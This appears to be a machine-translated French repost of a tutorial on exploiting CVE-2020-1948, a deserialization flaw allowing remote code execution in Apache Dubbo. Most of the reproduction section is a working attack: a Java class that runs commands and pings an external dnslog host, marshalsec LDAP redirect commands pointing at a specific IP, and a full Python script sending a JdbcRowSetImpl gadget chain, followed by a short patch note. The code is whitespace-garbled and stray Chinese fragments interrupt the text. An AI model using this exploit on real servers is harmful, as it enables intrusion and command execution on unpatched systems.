Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo

WBOY
Libérer: 2023-05-17 16:01:22
avant
1042 Les gens l'ont consulté

Introduction

Dubbo est un framework de service open source hautes performances et excellent d'Alibaba, qui permet aux applications de réaliser des fonctions de sortie et d'entrée de service via un RPC hautes performances, et peut être intégré de manière transparente au framework Spring. Le système comporte trois fonctions principales, notamment l'invocation de méthodes d'interface à distance, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services.

Vue d'ensemble

Le 23 juin 2020, Apache Dubbo a officiellement publié un avis de risque pour l'exécution de code à distance d'Apache Dubbo. Le numéro de vulnérabilité est CVE-2020-1948 et le niveau de vulnérabilité est : risque élevé. Apache Dubbo est un framework Java RPC open source léger et hautes performances qui offre trois fonctionnalités principales : l'invocation de méthodes à distance orientées interface, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services. Le fournisseur Apache Dubbo présente une vulnérabilité de désérialisation. Un attaquant peut envoyer des noms de services ou des noms de méthodes non reconnus et certaines charges utiles de paramètres malveillants via des requêtes RPC. Lorsque les paramètres malveillants sont désérialisés, cela peut provoquer l'exécution de code à distance.

Versions concernées

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (officiellement plus maintenu)

Configuration de l'environnement

Les versions jdk de l'environnement d'exécution et de l'environnement d'expérience de compilation sont toutes deux 8u121 , Démarrez l'environnement de test

java -jar dubbo.jar
Copier après la connexion


Après le démarrage, il écoutera le port 12345

Récurrence de la vulnérabilité

Empreinte digitale du service :


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
Copier après la connexion

Construisez le poc Nous exécutons ici une commande ping pour vérifier si la commande. peut être exécuté et créer un nouveau calc. java,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
Copier après la connexion


Compile poc

javac calc.java
Copier après la connexion


Placez le poc compilé (calc.class) dans le répertoire du site Web pour vous assurer que l'hôte vulnérable peut y accéder. Utilisez le projet marshalsec pour démarrer un service proxy ldap et téléchargez marshalsec :

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Copier après la connexion


Démarrez le service proxy LDAP Exécutez cette commande et le service ldap écoutera le port 8086


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
Copier après la connexion


Exécutez le test. script. L'environnement python utilisé dans le test ici est 3.8.0. Installez d'abord le package de dépendances

python3 -m pip install dubbo-py
Copier après la connexion


Contenu du script (Dubbo.py) :

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)
Copier après la connexion


Exécutez le script

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
Copier après la connexion


怎么进行Apache Dubbo反序列化漏洞的分析. vue dnslog, réception réussie de la demande怎么进行Apache Dubbo反序列化漏洞的分析

Le service ldap peut également voir le transfert de la demande怎么进行Apache Dubbo反序列化漏洞的分析

Bomb Calculator

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }
Copier après la connexion

Correction de bug

Mise à niveau vers la version 2.7.7 et effectuer la vérification des paramètres selon la méthode du lien suivant

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

Protocole de remplacement et méthode de désérialisation.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:yisu.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal